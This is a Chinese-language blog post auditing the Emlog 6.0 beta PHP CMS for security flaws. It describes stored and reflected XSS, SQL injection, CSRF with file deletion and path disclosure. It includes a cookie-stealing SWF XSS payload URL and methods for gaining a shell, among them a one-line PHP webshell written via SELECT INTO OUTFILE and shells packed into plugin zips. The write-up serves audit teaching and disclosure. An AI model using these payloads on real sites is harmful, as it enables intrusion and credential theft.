本文最后更新于 2018年11月03日 13:08 可能会因为没有更新而失效。如已失效或需要修正,请留言!

Emlog 6.0 beta版本,这可能是最后一篇关于PHP语言CMS的代码审计文章,此次将详细记录完整的审计过程。

*2018-11-02 之前这篇文章发到 Freebuf 上面的由于某些原因删除了,却被某些爬虫网站给抓取了,现在公开,希望大家做一个合理的学习,切勿用于非法用途!官网也更新了6.0正式版,现在作为最后公布也不存在不妥之处,再次声明:仅供学习参考,任何由个人行为产生的违法犯罪结果自行承担!

首发地址:http://www.sohu.com/a/246790332_354899

文章涉及漏洞已上交给国家,所以不要多想了

文章基本上完整记录小东的对此CMS审计过程,或许显得繁琐,但代码审计的过程就是这样,发现可能项,然后精心构造去验证,这过程中我们会遇到很多次碰壁,坚持测试,思维活跃一些,基本都会有所收获,诚挚希望后来者能够耐心阅读下去,当然最好也能够有所启发。

大家需要注意的一点是,代码审计是为了学习并在SDL中避免发生类似的错误,同时也是帮助开源系统修复相关问题,并不是去为了获得什么0day~

0x00 Emlog 6.0 beta

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

官网地址:https://www.emlog.net/

Emlog 6.0 beta下载地址:https://www.emlog.net/download

由于官方限制论坛会员(注册付费)才可下载,这里提供一个原版下载地址:https://www.lanzous.com/i1l5gad

文件校验:

 

博主的博客就是基于此套博客系统,其实很多圈内大佬都在使用,对于本款CMS的审计文章却并没有,小东就来以此CMS作为PHP代码审计的封笔之作。


0x01 初步测试

首先,我们得先安装!安装成功后的首页界面:

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

默认后台登陆地址:./admin/

登陆成功后:

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

闲话一句,感觉6.05.3.1版本好看太多了~

安装过后,我们应该尽可能全面搜集关于此CMS的信息,这对于我们审计代码有很大的帮助。

所以,分析得到此CMS的大致结构,Emlog是一个 MVC 的设计模式,大致的结构如图:

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

因此我们主要会分析 admin 和 include 文件夹下的文件。

数据库表:

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

在根目录的init.php 文件中

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

报错等级指定为7

 


0x02 使用漏洞扫描器

可能有朋友就会说你为什么要使用“漏扫”呐?不是代码审计吗?

这里要纠正一下这个观点,漏扫其实就是一个自动化黑盒测试,在本地环境下,我们不会影响任何的业务。

通过漏扫出的漏洞能够方便我们快速定位漏洞位置,这样是一种高效的方式,这也是在团队里的成员通过漏扫Get了百度的几个高危漏洞给小东的启示。

这里使用了一款重型扫描器 AWVS ,得到的报告如下:

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

不过在本地扫描时,使用的是 XAMPP windows10 PHP5.6的环境,所以导致漏洞报告中很多误报,漏扫主要扫描出了几个XSS漏洞CSRF漏洞

所以我们首先验证这两类的漏洞


0x03 文章编辑器储存性XSS

在后台的编辑器处,编辑文章./admin/admin_log.php

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

成功发布后,来到首页

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

进入文章页后

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

都弹窗了,这里大家可能要说没法儿利用,但是emlog设计了 会员/作者 功能,在emlog中的某些模版中可以前台注册会员,会员登录后可以编辑发表文章,评论等等功能。Emlog官方还提供了文章投稿插件,都是调用了官方默认的Kindeditor编辑器,这个编辑器自带HTML编辑模式,就算不带这个模式,攻击者也可以抓包修改达到攻击目的。

为什么前台没过滤呐?为了文章有支持HTML代码输出,所以对于kindeditor的保存输出内容并没有转义。

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

修复建议:参考其他CMS做好文章内容关键词的检测,并做好过滤或者转义


0x04 Uploadify SWF XSS

Emlog使用了 uploadify.swf 的方式上传文件,文件路径 /include/lib/js/uploadify/uploadify.swf

构造Payload:http://www.test.com//include/lib/js/uploadify/uploadify.swf?uploadifyID=00%22%29%29;}catch%28e%29{alert%281%29;}//%28%22&movieName=%22])}catch(e){if(!window.x){window.x=1;alert(document.cookie)}}//&.swf

效果,可无视浏览器filter

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

0x05 反射型XSS

此处的XSS主要发生在cookie上,因为某些页面如 admin/admin_log,admin/sort.php,admin/link.php页面需要在表单中添加了hidden属性的token值,而这个token值直接从用户的cookie中取得,导致了一个反射型XSS

拦截抓包修改cookie中的token值如下:

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

效果:

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

其次验证了 CSRF 漏洞,这个是前台的搜索框的CSRF根本没什么价值

然后是管理员添加友情链接的XSS,经过验证并不存在,后台函数会限制字数


然后就是我们开始进行原始的代码审计工作了,主要借用了Seay代码审计工具Rips,这种审计工具主要依靠正则匹配可能导致危险的php函数来作为可能存在漏洞的判断,半自动化的方式,在一定程度上缓解了代码审计的压力。

0x06 基本函数

首先看了一下文件操作相关的函数,发现经常用到 View::getView 这一方法,

include/lib/view.php 文件中,源码如下:

 

同时作为权限控制的 LoginAuth::checkToken(),在 \include\lib\loginauth.php下约209行开始

 

验证了Rips扫描出的文件包含问题(第一次使用Rips),发现无法复现,因为Rips扫描的时候是以文件形式,并没有参照程序的严格逻辑,导致的误报!

来到 \admin\admin_log.php 文件,从第78行开始:

 

那么我们尝试越权删除文章
http://www.test.com/admin/admin_log.php?action=operate_log&operate=del&blog=29&token=994132a26661c8c244a91063c4701a7e 失败了提示权限不足,来到\include\model\log_model.php 发现

 

这个越权漏洞不存在,同时看了下面的函数判断也是做了类似的处理

到这里其实我们对于整个 CMS 的架构已经较为熟悉了,基本能根据对应函数功能,直接手动找到对应的函数位置。

令人伤心的是,通过 Rips 代码审计工具得到的结果,一个都没复现成功…

0x07 Seay辅助审计

相信很多人都知道法师的这款工具,主要还是因为中文,用着方便,但是完全依靠正则的方式去匹配函数,只能发现那些函数直接的控制漏洞,逻辑漏洞有时候可以根据逆推可以发现,但这种情况很少。

使用这款工具扫描出来共120个可能的情况(根据经验98%以上都是没法复现的),然后一个个排查,有的例如SQL语句反单引号这样的,很容易就可以判断给忽律,就不需要考虑。

在 /admin/store.php 看到这样一串代码:

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

这里我的思考是,如果在emlog官网有URL跳转链接的话,那么就可以构造下载远程任意的文件到网站,但是测试了官网没有跳转链接,那么我们尝试下载别的插件(链接跳转等),或者有黑客精心构造了一个插件或者模版,然后再利用,这也算是一个可行的方案。

此处需要管理员权限,作为代码审计的一个参考思路,不是要发现什么0day,而是希望大家能够在代码审计方面有所收获。

(1). SQL注入

对于SQL注入Seay工具一直都没准过,这里小东推荐方式,使用全局搜索 $_GET[ 或 $_PSOT[,然后看看是否代入了SQL查询,然后一一验证。

然后我发现了这样一个没有过滤IP参数

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

然后到 admin/comment.php 中查看

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

再看 delCommentByIp($ip) 函数

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

由此我们可以确定了SQL注入的存在

验证如下:

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

(2).一个CSRF+任意文件删除

$_GET[]型分析完以后,就寻找$_POST[]的,然后在admin/data.php文件中找到了如下代码

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

这里我们发现,并没有验证toknen,那么可以构造csrf页面,这里小东就不演示了,直接BURP验证一下任意文件删除吧,关于CSRF,只要没有调用上面基础函数部分说到的 LoginAuth::checkToken() 方法的,都存在CSRF

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

这里就成功删除了文件

(3).TAG SQL注入

在POST参数中发现此处并没有过滤,同时在 deleteTag() 函数中,代入了SQL查询,因此又是一个SQL注入

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

来看deleteTag()函数:

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

又调用了getBlogIdsFromTagId()函数,同样没有过滤

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

因此使用抓包验证一下:

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

但是其他语句利用时候并没有回显,小东不知道什么原因,没仔细探究,但是可以采用时间盲注的方式。

至此,利用工具的半自动化审计已经结束,下面准备手工测试


0x08 手工测试

手工测试也不是单纯的翻文件,应当以灰盒测试为主导,从逻辑权限敏感信息等方面入手

(1).后台登陆存在暴力破解风险

在这里,我之前提到过的验证码未及时销毁的历史问题还存在,此处不再详细叙述,请参考https://blog.csdn.net/dyboy2017/article/details/78433748

(2).报错信息导致物理路径泄漏

大家不要以为这是小事情,当sql注入存在的时候,我们有机会是可以直接写shell文件,安全无小事

一个低权限的方式,在游客的条件下测试一下

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

payload:http://www.test.com/admin/attachment.php?action[]=

原因是:addslashes() expects parameter 1

include/lib/loginauth.php134行开始

 

可以看到此处的cookie都可以直接计算得到,只需要知道根目录下config.php中的

 

即可。

(4).侧边栏存储性XSS

为了同样是为了支持HTML代码的输出,没有转义对应的脚本代码标签,导致了存储性的XSS存在

[小东]代码审计之Emlog 6.0 Beta-ChaBug安全

0x09 Getshell

(1).SQL注入拿到shell

如上所讲有SQL注入的存在,同时可以获取到物理路径,那么就可以直接写Shell

(2).后台插件上传zip

因为后台可以直接上传本地zip文件,这里我们去官网下载一个插件,同时把我们的shell文件(比如dyboy.php)加入zip,上传安装这个插件就可以了,然后shell地址为:http://www.test.com/content/plugins/插件名/dyboy.php

(3).后台模版上传zip

和插件同样的原理,这里的shell地址为:http://www.test.com/content/templates/模版名/dyboy.php

(4).备份文件拿shell

后台的数据功能处,先备份一个,然后下载到本地,加入SELECT "<?php @assert($_POST['dyboy'])?>" into outfile 'D:\\Server\\htdocs\\safe\\dyboy.php';

然后导入备份恢复本地数据即可

这样就在网站个目录生成了一个dyboy.phpshell


0x10 总结

EMLOG是一个非常小巧轻快的博客系统,运行占用资源非常低,所以非常适合博主用作博客用途,其实只要不开启会员功能,没有弱口令就没有什么大的威胁。以此文章作为PHP代码审计的终稿,文章所述方法同样适用于其他的CMS代码审计和分析,创作不易,也希望本文章能对大家能有所启示。

喜欢这篇文章的话就点一点喜欢吧!